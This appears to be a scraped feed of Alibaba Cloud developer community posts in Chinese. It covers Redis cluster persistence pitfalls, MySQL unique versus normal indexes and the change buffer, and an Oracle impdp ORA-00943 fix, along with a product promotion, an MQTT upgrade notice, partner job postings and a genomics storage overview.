    在自己的测试环境,一主一从,共6节点,都部署在一台服务器上,Redis开启了持久化,在重启集群后,发现有数据丢失,查看日志也没有发现错误,接下来在查看AOF文件和RDB文件后发现了问题,的确是有数据丢失,而且少的还是只有节点7001上的数据,这就很奇怪了,当时猜测是否是由于持久化文件在节点之间不共享,7001节点的文件被7000的覆盖掉了。为了验证这个推断,修改了appendfilename和dbfilename参数,每个节点文件名唯一。之后创建新数据,再次重启,这次没有发现数据丢失,所有数据都存在。
    简单模拟下这个问题:
    修改6个节点的持久化文件参数,使用默认参数

    appendfilename appendonly.aof
    dbfilename dump.rdb

    启动Redis集群,新加数据
    图片.png
    重启集群
    可以看出有的数据丢失了
    图片.png
    其实持久化的数据是可以在AOF文件中看到的,下面2个节点的AOF文件中的键值是相同的,可以大致推断出是一主一从节点。
    图片.png
    图片.png
    从cluster nodes的结果来看,也能验证。
    图片.png

    第二个坑

    redis.conf中的dir参数,这个参数配置的是工作目录,包括指定AOF文件和RDB文件的路径,如果不配置,那么RDB文件和AOF文件就会在执行redis-server启动命令的路径下创建。这样就会导致在重启后无法正确加载持久化文件,所以dir参数一定要配置。

    ]]>
    你分得清MySQL普通索引和唯一索引了吗?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 0 概念区分
    • 普通索引和唯一索引
      普通索引可以重复,唯一索引和主键一样不能重复。

    唯一索引可以作为数据的一个合法验证手段,例如学生表的身份证号码字段,我们人为规定该字段不得重复,那么就使用唯一索引。(一般设置学号字段为主键)

    • 主键和唯一索引
      主键保证数据库里面的每一行都是唯一的,比如身份证,学号等,在表中要求唯一,不重复。唯一索引的作用跟主键的作用一样。

    不同的是,在一张表里面只能有一个主键,主键不能为空,唯一索引可以有多个,唯一索引可以有一条记录为空,即保证跟别人不一样就行。
    比如学生表,在学校里面一般用学号做主键,身份证则弄成唯一索引;而到了教育局,他们就把身份证号弄成主键,学号换成了唯一索引。
    选谁做表的主键,要看实际应用,主键不能为空。

    1 示例

    一个市民系统,每个人都有个唯一身份证号;
    业务代码已保证不会写入两个重复的身份证号;
    如果市民系统需要按照身份证号查姓名,就会执行类似SQL:

    select name from CUser where id_card = 'xxxxxxxyyyyyyzzzzz';

    相信你一定会在id_card字段上建索引。

    由于身份证号字段比较大,不建推荐把身份证号做主键。
    因此现在有两个选择

    1. 给id_card字段创建唯一索引
    2. 创建一个普通索引

    如果业务代码已保证不会写入重复的身份证号,那这两个选择逻辑上都正确。

    但从性能角度考虑,唯一索引还是普通索引呢?
    假设字段 k 上的值都不重复。

    • InnoDB的索引组织结构
      接下来从这两种索引对查询语句和更新语句的性能影响来进行分析。

    2 查询过程

    查询语句

    select id from T where k=5

    该语句在索引树查找的过程:
    先通过B+树从树根开始,按层搜索到叶节点,即图中右下角的数据页,然后可认为数据页内部是通过二分法定位记录。

    • 对普通索引,查找到满足条件的第一个记录(5,500)后,需查找下个记录,直到碰到第一个不满足k=5条件的记录
    • 对唯一索引,由于索引定义了唯一性,查找到第一个满足条件的记录后,就会停止检索。

    该不同点带来的性能差距会有多少呢?
    微乎其微!

    InnoDB数据是按数据页为单位读写。即当需读一条记录时,并非将该记录本身从磁盘读出,而是以页为单位,将其整体读入内存。

    InnoDB中,每个数据页的大小默认是16KB。

    因引擎按页读写,所以,当找到k=5记录时,它所在数据页就都在内存了。
    对普通索引,要多做的那一次“查找和判断下一条记录”的操作,就只需要一次指针寻找和一次计算。
    如果k=5记录刚好是该数据页的最后一个记录,那么要取下个记录,必须读取下个数据页,操作会稍微复杂。
    对于整型字段,一个数据页可存近千个key,因此这种情况概率很低。所以,计算平均性能差异时,仍可认为该操作成本对现在的CPU可忽略不计。

    3 更新过程

    3.1 change buffer

    需更新一个数据页时

    • 若数据页在内存,直接更新
    • 若该数据页不在内存,在不影响数据一致性前提下,InooDB会将这些更新操作缓存在change buffer,无需从磁盘读入该数据页。
      在下次查询需要访问该数据页时,将数据页读入内存,然后执行change buffer中与这个页有关的操作。通过该方式就能保证这个数据逻辑的正确性。

    虽然叫change buffer,实际上是可持久化的数据。
    即change buffer在内存中有拷贝,也会被写进磁盘。

    3.2 merge

    3.2.1 概念

    将change buffer中的操作应用到原数据页,得到最新结果的过程。

    3.2.2 触发时机

    访问该数据页会触发merge
    系统有后台线程会定期merge
    在数据库正常关闭(shutdown)的过程中,也会执行merge。

    若能将更新操作先记录在change buffer,减少读盘,语句执行速度会明显提升。
    且数据读入内存需要占用buffer pool,所以该方式还能避免占用内存,提高内存利用率。

    3.3 何时用change buffer

    对于唯一索引,所有更新操作要先判断该操作是否违反唯一性约束。

    比如,要插入(4,400)记录,要先判断表中是否已存k=4记录,而这必须要将数据页读入内存才能判断。
    如果都已经读入到内存,那直接更新内存会更快,就没必要使用change buffer。
    因此,唯一索引的更新就不能使用change buffer,实际上也只有普通索引可使用

    change buffer用的是buffer pool里的内存,因此不能无限增大。
    change buffer的大小,可通过参数innodb_change_buffer_max_size动态设置。
    参数设置为50时,表示change buffer的大小最多只能占用buffer pool的50%。

    理解了change buffer机制,看看要在这张表中插入一个新记录(4,400),InnoDB处理流程。

    分情况讨论该记录要更新的目标页是否在内存中:

    在内存

    • 唯一索引
      找到3和5之间位置,判断到没有冲突,插入值,语句执行结束。
    • 普通索引
      找到3和5之间位置,插入值,语句执行结束。

    普通索引和唯一索引对更新语句性能影响的差别,只是一个判断,只会耗费微小CPU时间。

    不在内存

    • 唯一索引
      需要将数据页读入内存,判断到没有冲突,插入值,语句执行结束
    • 普通索引
      将更新记录在change buffer,语句执行结束

    将数据从磁盘读入内存涉及随机IO访问,是数据库里面成本最高操作之一。
    change buffer因减少随机磁盘访问,所以对更新性能提升明显。

    问题案例:某业务的库内存命中率突然从99%降低到了75%,整个系统处于阻塞状态,更新语句全部堵住。
    探究其原因,发现该业务有大量插入数据操作,而DBA在前天把其中的某个普通索引改成了唯一索引。

    change buffer的使用场景

    普通索引的所有场景,使用change buffer都可加速吗?

    因为merge才是真正进行数据更新时刻;
    change buffer主要目的是将记录的变更动作缓存下来;
    所以在一个数据页做merge前,change buffer记录变更越多(即该数据页上要更新的次数越多),收益越大。

    对写多读少业务,页面在写完后马上被访问到的概率较小,change buffer使用效果最好。该类业务模型常见为账单、日志类的系统。

    反之,假设一业务的更新模式是写后马上查询,那么即使满足条件,将更新先记录在change buffer,但之后由于马上要访问该数据页,立即触发merge。
    这样随机访问IO的次数不会减少,反而增加change buffer维护代价。
    所以,对于这种业务模式,change buffer起副作用。

    4 实践中的索引选择

    普通索引和唯一索引如何抉择。
    这两类索引在查询性能上没差别,主要考虑对更新性能影响。
    所以,推荐尽量选择普通索引。

    如果所有更新后面,都紧跟对该记录的查询,那么该关闭change buffer。
    而在其他情况下,change buffer都能提升更新性能。
    普通索引和change buffer的配合使用,对于数据量大的表的更新优化还是很明显的。

    在使用机械硬盘时,change buffer机制的收效非常显著。
    所以,当你有一个类似“历史数据”的库,并且出于成本考虑用机械硬盘时,应该关注这些表里的索引,尽量使用普通索引,把change buffer 开大,确保“历史数据”表的数据写速度。

    5 change buffer 和 redo log

    WAL 提升性能的核心机制,也是尽量减少随机读写,这两个概念易混淆。
    所以,这里我把它们放到了同一个流程里来说明区分。

    在表上

    5.1 执行插入

    insert into t(id,k) values(id1,k1),(id2,k2);

    假设当前k索引树的状态,查找到位置后
    k1所在数据页在内存(InnoDB buffer pool),k2所在的数据页不在内存中

    • 带change buffer的更新状态图。

    该更新语句涉及四部分:

    • 内存
    • redo log(ib_log_fileX)
    • 数据表空间(t.ibd)
    • 系统表空间(ibdata1)

    该更新语句做了如下操作(按图中数字顺序):

    1. Page1在内存,直接更新内存
    2. Page2没有在内存中,就在内存的change buffer区,记录下“我要往Page2插一行”的信息
    3. 将前两个动作记入redo log(图中的3和4)

    做完上面,事务完成。执行这条更新语句的成本很低,就写两处内存,然后写一处磁盘(两次操作合在一起写了一次磁盘),还是顺序写。

    图中两个虚箭,是后台操作,不影响更新的响应时间。

    这之后的读请求,怎么处理?
    现在执行

    select * from t where k in (k1, k2)

    若读语句紧随在更新语句后,内存中的数据都还在,那么此时这俩读操作就与系统表空间(ibdata1)和 redo log(ib_log_fileX)无关。所以在图中就没画这俩。

    • 两个读请求的流程图(带change buffer的读过程)

    从图中可见:
    读Page1时,直接从内存返回。
    WAL之后如果读数据,是不是一定要读盘,是不是一定要从redo log里面把数据更新以后才可以返回?其实不用。
    看上图状态,虽然磁盘上还是之前数据,但这里直接从内存返回结果,结果正确。

    要读Page2时,需把Page2从磁盘读入内存,然后应用change buffer里面的操作日志,生成一个正确版本并返回结果。
    可见直到需读Page2时,该数据页才被读入内存。

    所以,要简单对比这俩机制对更新性能影响

    • redo log 主要节省随机写磁盘的IO消耗(转成顺序写)
    • change buffer主要节省随机读磁盘的IO消耗

    6 总结

    由于唯一索引用不了change buffer的优化机制,因此如果业务可以接受,从性能角度,推荐优先考虑非唯一索引。

    6.1 关于到底是否使用唯一索引

    主要纠结在“业务可能无法确保”。本文前提是“业务代码已经保证不会写入重复数据”下,讨论性能问题。

    • 如果业务不能保证,或者业务就是要求数据库来做约束,那么没得选,必须创建唯一索引。这种情况下,本文意义在于,如果碰上大量插入数据慢、内存命中率低时,多提供一个排查思路。
    • 然后,在一些“归档库”的场景,可考虑使用唯一索引的。比如,线上数据只需保留半年,然后历史数据保存在归档库。此时,归档数据已是确保没有唯一键冲突。要提高归档效率,可考虑把表的唯一索引改普通索引。

    6.2 如果某次写入使用change buffer,之后主机异常重启,是否会丢失change buffer的数据?

    不会丢失。
    虽然是只更新内存,但在事务提交时,我们把change buffer的操作也记录到redo log,所以崩溃恢复时,change buffer也能找回。

    6.3 merge的过程是否会把数据直接写回磁盘?

    merge执行流程

    1. 从磁盘读入数据页到内存(老版本数据页)
    2. 从change buffer找出该数据页的change buffer 记录(可能有多个),依次应用,得到新版数据页
    3. 写redo log
      该redo log包含数据的变更和change buffer的变更

    至此merge过程结束。
    这时,数据页和内存中change buffer对应磁盘位置都尚未修改,是脏页,之后各自刷回自己物理数据,就是另外一过程。

    ]]>
    Oracle运维笔记之IMPDP导入数据报错ORA-00943-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 在做impdp导入表数据时,出现了ORA-00943:cluster does not exist的错误,通常在导入数据报错都是表已存在、用户名或表空间不存在等问题,这个错误很奇怪,之前从来没有遇到过。
    图片.png
    在MOS上搜索时发现了文档ORA-943 When Importing Clusters (Doc ID 1005258.6),这个错误ORACLE是这样解释的:
    图片.png
    简单来说就是如果导入的表是聚簇表,而目标端预先创建的表不是聚簇表的话,那么在导入时表定义检查就会失败,报错ORA-00943: cluster does not exist。
    解决方案就是,创建聚簇再导入表数据。
    接下来就按照解决方案来处理
    1.查看表的聚簇,CLUSTER_EIS_STUDIES

    SQL> select owner,table_name,cluster_name from dba_tables where table_name='EISREPORTS';
    OWNER TABLE_NAME CLUSTER_NAME
    ------------------------------ ------------------------------ ---------------------------
    RADINFO EISREPORTS CLUSTER_EIS_STUDIES

    2.获取聚簇的创建语句

    select dbms_metadata.get_ddl('CLUSTER','CLUSTER_EIS_STUDIES','RADINFO') from dual;

    3.在目标库上创建聚簇

    CREATE CLUSTER RADINFO.CLUSTER_EIS_STUDIES (
    PATIENTSINDEX NUMBER(10,0) )
    SIZE 2048

    聚簇已经创建完毕,再次impdp导入数据,却发现仍然报错,但这次的错误和之前不同,ORA-02032: clustered tables cannot be used before the cluster index is built,
    从字面理解来说就是聚簇索引创建前无法使用聚簇表。
    图片.png
    那么接下来就要从源端查询聚簇索引信息,之后在目标端创建了。
    1.在源端查询聚簇索引信息:

    select index_owner,index_name,table_name,column_name from dba_ind_columns where table_name='CLUSTER_EIS_STUDIES'
    INDEX_OWNER INDEX_NAME TABLE_NAME COLUMN_NAME
    -------------------------- ------------------------------ -------------------------- --------------------------
    RADINFO IX_CLUSTER_EIS_STUDIES CLUSTER_EIS_STUDIES PATIENTSINDEX

    2.在目标端创建聚簇索引:

    create index radinfo.IX_CLUSTER_EIS_STUDIES on cluster CLUSTER_EIS_STUDIES;

    再次impdp导入数据,这次终于执行成功。

    ]]>
    后疫情时代,AnalyticDB如何助力企业实现业务增长和创新-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 数字经济时代,越来越多的企业通过数据驱动业务增长、流程优化及更多的业务创新。当前企业数据朝着海量、实时化、多样化的趋势演进,对企业数据仓库也提出了新的挑战与演进诉求。

    同时,数据正在发生质的变化,数据爆炸性增长,实时数据比例大幅增长,数据库在云上比例迅速上升,非结构化数据占比越来越高。数据业务也在面临转型,从传统的T+1到全实时,从离线到在离线一体化,数据从多源分散到集中处理,计算和存储也全面Serverless化

    企业需要怎样的数据仓库?

    数据的重要性不言而喻,但用户需要怎样的数据平台与服务却并不是三言两语就能说清的一件事。企业在数据仓库的解决方案中最需要的价值服务在哪里?

    1、性能(Performance)

    无论在什么行业,客户一定会要求:快!更快!性能是数据平台的准入门槛。如何在PB级别的海量数据量面前展现优秀的性能,同时尽可能的降低成本,是传统数据仓库的死穴。只有借助云端的资源才有可能在这个数量级上讨论这些问题。

    2、实时(Realtime)

    在self-BI的时代,终端用户不用通过IT生成报表,数据要求越发实时性,用户需要分析几小时甚至几分钟之前的数据,而不仅仅满足昨天的数据。

    3、高效(Efficient)

    国内互联网网民数和移动用户数饱和,人口红利消失,从增量市场进入存量市场,存量市场竞争更加激烈。在这种环境下,如何用最小的成本,挖掘最大的流量价值,简单、快速和高效为企业带来新的业务增长点,为大多数企业所追逐。

    阿里云“万仓计划”  助力每个企业拥有属于自己的云原生数据仓库

    阿里云“万仓计划” 以云原生数据仓库AnalyticDB为核心,在后疫情时代帮助企业低成本快速构建数据仓库,搭建一套良好的精细化运营和营销体系,助力企业营收快速增长。

    AnalyticDB融合了分布式、弹性计算与云计算的优势,在性能、实时、高效和规模四个方面具有极大的突破。云原生数据仓库AnalyticDB支持更大规模的并发访问、更快读写能力以及更智能的混合查询负载管理等,实现更精细化的资源利用和更低成本的投入,让用户能更加专注于业务发展,专注于数据价值。

    1、超大规模

    基于强一致RAFT协议的副本同步机制,最高每秒千万级的实时写入性能,支持最大100PB的存储空间。

    2、强劲性能

    轻量的索引构建方式、分布式混合计算引擎和优化器,具有承载更快和更复杂读写能力。ADB最新发布的性能白皮书显示,其性能相比MySQL有100倍的优势。数据仓库权威榜单:ADB包揽TPC-DS(数据仓库)、TPC-H
    再次刷新TPC-DS 10TB榜单成为全球第一,性能、性价比全球领先!相比前世界纪录Spark优化版,综合性能提升29%,单位成本仅为其1/3。相比前世界纪录 微软SQL Server 2019,综合性能提升290%,单位成本仅为其1/4,成为中国首次荣登该榜单的产品!

    3、灵活弹性

    基于存储计算分离架构,存储空间可以秒级扩容到100PB,计算资源快速从3节点升级到5000节点。ADB架构完美诠释了数据仓库产品的进化史,它被设计成为精准的制导导弹用于解决众多的历史遗留问题:花钱多、灵活度低和令人头疼的运营管理等。

    4、融合计算和分析

    随着移动互联网和智能化的快速发展,产生了大量的非结构数据,如何能快速挖掘海量的非结构化数据价值,尤其重要。ADB支持海量结构化和非结构化数据融合分析,在线分析和ETL计算一体化。实现了数据库和大数据一体化进程,可以帮助客户简单快速搭建数据仓库,使客户专心于业务上的开发以及业务价值提升。

    云原生数据仓库AnalyticDB经过八年阿里巴巴集团和云上客户实践,在性能和性价比方面全球领先,为世界上最快的云原生数据仓库。AnalyticDB利用云计算的壳解释了云原生数据仓库存在的合理性,是数据仓库的终极形态!我们有能力和实力助力每个企业拥有属于自己的云原生数据仓库,助力企业数据价值在线化!

    ]]>
    【其他】微消息队列 MQTT 升级通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【微消息队列MQTT】【版本升级通知】

    升级时间:2020年7月22日
    资源迁移时间:2020年8月31日前

    升级内容:
    为了进一步提升MQTT的客户体验,自 2020 年 7 月 22 日起,微消息队列 MQTT 版将启动从 V2.x.x 至 V3.x.x 的升级流程。我们优化了MQTT实例创建流程非必要绑定RocketMQ。同时提供更加容易理解且稳定的OpenAPI方便您的使用。升级过程不影响客户端消息收发。如果您对升级时间和窗口有特殊要求,请提交工单申请协商。
    微消息队列 MQTT的 V3.x.x 版本相比 V2.x.x 版本而言,实现了自身的消息独立存储,再也无需强制绑定消息队列 RocketMQ 版,因此购买开通微消息队列 MQTT 版实例后即可直接创建资源,从而降低您的使用与理解成本。
    V3.x.x 版本除了独立存储之外,还对 V2.x.x 版本实现的微消息队列 MQTT 版和消息队列 RocketMQ 版互通的功能进行抽象,使得微消息队列 MQTT 版的数据可以根据您配置相应规则转发到其他阿里云产品,也可以配置规则从其他阿里云产品导入数据到微消息队列 MQTT 版。消息队列 RocketMQ 版作为转发的其他云产品之一。
    详情参见《V2.x.x 到 V3.x.x 的版本升级说明
    升级影响:
    1. 创建实例流程变更,若仅使用MQTT收发消息,不需要您绑定RocketMQ。
    2.若您有MQTT与RocketMQ客户端交互的使用场景,请参见消息收发流程变更,及时配置您的规则。详情参见《消息收发流程变更链接

    3. V2.x.x 版本中如果使用了 OpenAPI 来创建 Topic、Group ID 资源,在服务端升级到 V3.x.x 版本后,V2.x.x 的 OpenAPI 将无法产生正确的效果,因此您需迁移到新的 OpenAPI 调用链路来实现资源初始化。若您已参照当前OpenAPI手册《OpenAPI手册链接使用》,则不受影响。若您的OpenAPI无法正常使用,可提工单咨询,我们将协助您解决。


    ]]>
    【北京乘云至达科技有限公司】- 招聘职位详情(校招/社招) Fri, 02 May 2025 09:39:04 +0800 北京乘云至达科技有限公司介绍

    乘云科技,是一家以提供云计算、云服务、大数据、专业IT服务产品研发、系统集成、IT战略咨询于一体的高新技术企业,乘云基于公共云计算技术,致力于为广大企业提供普惠的云计算、大数据产品。

    公司2014年成立,2016年成为阿里云合作伙伴,FY18财年完成公有云销售额1100万+、专有云销售额1000万+、完全All in阿里云业务,FY19年,成为阿里云授权服务中心、阿里云钻石级合作伙伴、阿里云一级城市服务商、阿里云邮箱业务华北区总代、阿里云专有云合作伙伴。

    职位1: 云计算运营经理

    Base地点: 北京/深圳
    岗位职责:
    1、负责云计算相关产品或解决方案的相关市场调研、竞品分析、产品设计规划、运营活动协调等工作;
    2、深刻理解技术合作伙伴及目标客户的业务需求、非功能需求、流程需求,并将需求落地为产品功能、平台流程;
    3、与技术支持、客服、运营、售前、销售以及客户等对接,评估产品迭代需求优先级,并组织产品经理落地产品功能地迭代;
    4、组合产品,形成客户应用场景,并配合推广,同时为结果负责;
    5、制定用户满意度调研以及nps问卷,输出结果并根据结果制定优化策略并执行;
    6、策划并组织形式多样的类目运营活动、产品优惠活动、线下沙龙活动等,包括线上、线下等方式;
    7、对用户使用体验,购买转化率,续费留存率等结果指标负责;
    8、具体岗位职责依据候选人背景情况定岗后确认。
    9、通过数据纬度支撑公司业务发展,推动业务团队完成既定的任务目标。
    具体要求:
    工作年限:不限
    学历:本科以上
    专业:信息相关专业
    1.本科及以上学历,信息类相关专业;
    2、熟悉云计算领域的产品、技术特点及技术架构;
    3、技术领域涉猎广泛,知识面广,并在某个领域的技术方案架构具有专长优势;
    4、具有娴熟的沟通技巧,执行力强,具有优秀的团队合作精神、敬业精神;
    5、具有产品设计、产品运营、用户满意度调研等经验;
    6、具有传统系统集成商,咨询公司,传统厂商,云服务商等解决方案、售前支持、咨询等经验者优先;
    7、具有云计算从业经验优先。
    其他要求:
    有良好的客户资源背景优先。有蓝讯、网宿、天地祥云、世纪互联、阿里云、金山云、AWS、百度云公司工作经验者优先。
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:8人;持阿里云认证优先

    职位2:云计算销售经理(管理岗)

    Base地点: 北京/深圳
    岗位职责:
    1、根据销售目标,制定销售计划,管理销售团队,建立良好的客户关系与合作伙伴关系,确保经营任务的达成;
    2、挖掘商业机会,引导客户需求,整合内外部资源、进行销售拓展工作;
    3、开拓新市场,发展新客户,拓展公司业务领域;
    具体要求:
    工作年限:5年以上
    学历:
    专业:信息相关专业
    1、5年以上IT行业销售经验,2年以上团队管理经验、项目管理经验、对业绩目标具有很强的认知管理能力,独立的目标思维;
    2、形象良好,语言表达和思维逻辑清晰、性格乐观、能承受压力,品格坚毅;
    3、具有良好的沟通能力和团队协作精神。
    4、有阿里云和微软云销售经验的销售人员优先

    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:5人;持阿里云认证优先

    职位3: 云计算客户经理

    Base地点: 北京/深圳
    岗位职责:
    1、 云计算产品与服务的销售工作,努力挖掘潜在客户资源;
    2、 维护既有客户资源,保持客户沟通,确保客户继续使用公司服务,挖掘及激发客户发展需求,不断扩展业绩规模。
    具体要求:
    工作年限:不限
    学历:不限
    专业:信息相关专业
    1、 对云计算IaaS/PaaS/SaaS有一定了解;
    2、 公司倾向及培养售前、销售,技术型销售人才;
    3、 从事互联网、云计算、大数据、人工智能行业销售人员优先;
    4、 对IDC、网络、存储、DNS、CDN等要有一定的理解;
    5、 熟悉阿里云相关产品及相关技术概念,对其他云厂商有所了解;
    6、 有良好的沟通、销售、文档编写能力。
    其他要求:
    有良好的客户资源背景优先。有蓝讯、网宿、天地祥云、世纪互联、阿里云、金山云、AWS、百度云公司工作经验者优先。
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:8人;持阿里云认证优先
    ]]>
    【福州睿长网络科技有限公司】- 招聘职位详情(校招/社招) Fri, 02 May 2025 09:39:04 +0800 福州睿长网络科技有限公司介绍

    福州睿长网络科技有限公司为阿里云区域一级合作伙伴,授权服务中心,区域赋能中心,成立以来,先后为两千余家企事业单位提供涵盖阿里云计算相关业务和技术支持,企事业单位移动信息化,软件开发,大数据中台等等一系列创新型高科技服务,为阿里云全国范围内最深度的合作伙伴之一。

    职位1: 数据资产梳理

    Base地点: 福州
    岗位职责:
    负责日常数据分析、数据筛选等运维工作
    具体要求:
    工作年限:不限
    学历:本科及以上
    专业:计算机等相关专业
    1.熟练使用oracle、mysql等主流数据库
    2.有数据接入工作经验
    3.最好有国网数据目录建设经验

    简历投递方式:
    "1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和317854561@qq.com
    2.邮件命名方式:姓名-投递公司-投递岗位"

    招聘人数:2人;持阿里云认证优先
    ]]>
    【华云中盛科技股份有限公司】- 招聘职位详情(社招) Fri, 02 May 2025 09:39:04 +0800 华云中盛科技股份有限公司介绍

    华云中盛科技股份有限公司成立于1998年,是国内领先的智能创新解决方案服务商,国家高新技术企业。公司总部位于深圳市南山区高新科技园,在北京、上海、广州、南京、杭州等全国20多个省市及河内、埃塞、雅加达、孟买等多个海外城市设有分支机构和办事处。

    公司长期致力于新型数据库、大数据、人工智能产品和工具的研发,通过技术沉淀和产品创新,研发出了分布式数据库、数据资产管理平台、统一应用开发中台、HAI人工智能开放平台、AI风险控制平台等核心产品,并以此为基础,结合多年行业经验,为税务、政务、检务、金融等各行业提供了丰富的智能化行业解决方案,助力客户持续创新,有效提升客户数据的利用价值和智能化管理水平,帮助用户实现业务系统从数字化到智能化的转型。

    公司现有员工一千多人,拥有专利数十项,著作权近百项。

    随着数字经济的高速发展,公司携手阿里云、华为云、腾讯云等主流云厂商进行深度合作,为行业客户提供云计算、大数据全栈式服务,打通最后一公里。为国家实施大数据战略,加快数字中国建设,推动数字经济做大做强贡献力量。

    未来,将继续深耕云服务、大数据+人工智能+行业领域,不断丰富和优化行业服务解决方案,以“助力客户持续创新,让智能技术普惠国人”为使命,挖据数据价值,成长为行业中具有深远影响力的高科技企业。

    职位1:迁移上云咨询工程师

    Base地点: 北京/武汉
    岗位职责:
    1、基于阿里云产品和解决方案的能力,协助企业客户实现IT系统架构转型和云化,提供上云迁移方案设计、云上架构规划、迁云咨询、与实施服务;
    2、客户上云以后,基于阿里云产品的能力,为客户设计应用系统在云上同城异地高可用架构、两地三中心容灾架构方案、以及云上监控运维、云上架构最佳实践方案等。
    3、为客户提供云上DevOPS体系建设方案的咨询和实施服务,优化业务交付效率,加速企业的数字化转型
    具体要求:
    1、计算机、电子类相关专业毕业,电子,自动化,计算机,通信等相关专业专业背景,五年以上工作经验。
    2、精通Linux、windows系统,对于常用的运维工具,开源软件(Nginx、Tomcat、Hadoop、Hbase、zookeeper、MQ、Redis等)的部署安装及配置优化经验。
    3、熟悉微服务、容器化架构,以及相关技术,对Istio、Docker、Kubernates,mesos等容器编排技术有丰富的实践和落地经验。
    4、精通MySQL、SQL Server、Oracle、PostgreSQL、Redis、Memcache等两种以上主流数据库和缓存技术,有丰富的数据库的优化维护经验。
    5、熟悉阿里云产品,通过阿里云ACP、Oracle OCP、PMP等相关认证优先。
    6、有大型综合项目的交付和上云经验。
    7、有较好的文档书写能力。
    其他要求:
    1、有阿里云项目经验优先
    2、善于沟通,具有团队意识
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:1人;持阿里云认证优先

    职位2: 大数据运维工程师

    Base地点: 北京
    岗位职责:
    1、独立完成云平台或数据中台软硬件环境搭建;
    2、独立完成应用上云包含应用评估、指导改造、配合上云实施、添加监控等;
    3、在指导下完成应用安全加固、服务器各类软件版本升级;
    3、及时处理各类异常报警、保障平台的运行稳定;
    4、及时响应用户咨询,为用户提供技术支持,架构优化建议等;
    5、深入研究云平台各类组件,提出优化意见,推进平台完善。
    具体要求:
    1.良好的语言表达和沟通能力,较强的服务意识与团队合作精神
    2.有主动推进预定计划/方案实施的意识,愿意主动学习
    3.熟悉阿里云弹性计算或大数据产品(包括ecs、odps、rds、drds、SLB、VPC、ads等常规组件使用),熟悉阿里云OpenApi;
    4.深入理解Linux操作系统,能够对主机性能进行分析和优化;
    5.熟悉常用的监控软件nagios、zabbix、cAdvisor、Prometheus、openfalcon中的一种或多种及Ansible自动化工具;
    6.熟悉常用的虚拟化技术,了解docker常见的使用方法,编排方式;
    7.熟悉常用服务的安装配置,例如:Nginx、JDK、DHCP、DNS等;熟悉网络路由配置;
    8.熟练使用shell、python、go中的一种或多种;
    9.具备2年以上阿里云规划、实施、运维和管理经验;具备阿里云ACP认证;有大规模服务器自动化安装、自动化运维经验的优先
    其他要求:
    1.熟悉阿里云大数据组件优先
    2.善于沟通,具有团队意识
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:2人;持阿里云认证优先

    职位3:云平台运维工程师

    Base地点: 福州/武汉
    岗位职责:
    1、负责基于阿里专有云云平台建设、系统规划、日常运营等工作;
    2、负责云平台资源的分配、搭建、部署、监控、调优、升级、日常维护工作;
    3、建立和完善云平台安全的监控体系和事件处理机制,确保业务的稳定运行;
    4、解决云平台运行过程中技术问题,对疑难问题进行分析并解决;
    5、制定云平台的运维流程、制度和规范;参与运维工作相关流程标准设计、编写。
    具体要求:
    1、 计算机、电子类相关专业毕业,电子,自动化,计算机,通信等相关专业专业背景,五年以上工作经验。
    2、熟悉阿里云平台架构及相关组件特性;
    3、熟悉主流的私有云产品(阿里云、华为云),掌握KVM、Xen、VMware等虚拟化技术、SDN虚拟网络、分布式云存储、传统SAN存储等相关技术;
    4、熟悉Linux操作系统、主流的存储产品、主流数据库的日常运维,掌握网络技术和信息安全知识;
    5、具有系统集成、业务迁云等相关工作经验,参与过私有云建设项目者优先;
    6、具备阿里云计算相关认证证书和相应从业经验优先。
    7、做事积极主动,有强烈的责任心,善于学习,有较强的团队沟通协调能力;
    其他要求:
    1.有阿里云项目经验优先
    2.善于沟通,具有团队意识
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    招聘人数:1人;持阿里云认证优先
    ]]>
    基因行业容器存储解决方案 Fri, 02 May 2025 09:39:04 +0800 1、基因行业背景

    1.1. 中国基因市场分析

    基因组学是未来精准医疗的“基石”。70%的基因企业选择使用云计算来处理基因组相关业务。过去一年内,阿里云为基因医学影像数据提供了安全可靠的存储,500%数据增长,增长迅猛。强大无限制的计算能力,阿里云支撑了百万以上的基因样本数据分析工作。
    1.png

    2.  基因行业的存储痛点和需求分析

    2.1. 基因组学数据管理相对复杂

    一家大型基因测序功能公司每日会产生 10TB 到 100TB 的下机数据,大数据生信分析平台需要达到 PB 级别的数据处理能力,这背后需要生物科技和计算机科技的双向支撑。测序应用从科研逐步走向临床应用,计算模式从离线向在线演进,交付效率越来越重要。多变的数据处理流程,以及大量的生物信息软件版本的管理,大量排队的数据处理任务,由于生物信息软件的运行特性CPU平均利用率仍然不足,难以无人职守的处理失败任务,成本居高不下等等问题存在于以下的现有的系统中,催生了生物信息行业对云计算和云原生技术的拥抱姿态,在成本,弹性,效率,规模也提出了更高要求。

    从基因业务角度理解,基因行业的数据处理的主要需求是提升效率,降低成本。基因场景的数据传输要求高速、稳定。如下图所示,是基因业务的数据处理流程图。
    2.png

    典型的基因行业数据传输与交付场景如下:
    •        测序服务商海量数据上云,数据上云有多重途径,通过OSS工具、存储网关、闪电立方等。一般1PB数据离线迁移,最快1周上云。
    •        科技服务公司:企业客户数据交付。数据交付,通知杭州到上海,同账号的跨地域复制的数据交付,在线迁移服务,完成跨地域、跨账号交付。杭州传到全球访问,全球访问加速。杭州传到企业用户,基于阿里云ram子账号,企业客户自己账号系统的交付体系。
    •        样本数据保存进行高吞吐分析计算,对存储要求高吞吐、高IOPS,对计算资源要求弹性、横向扩展。
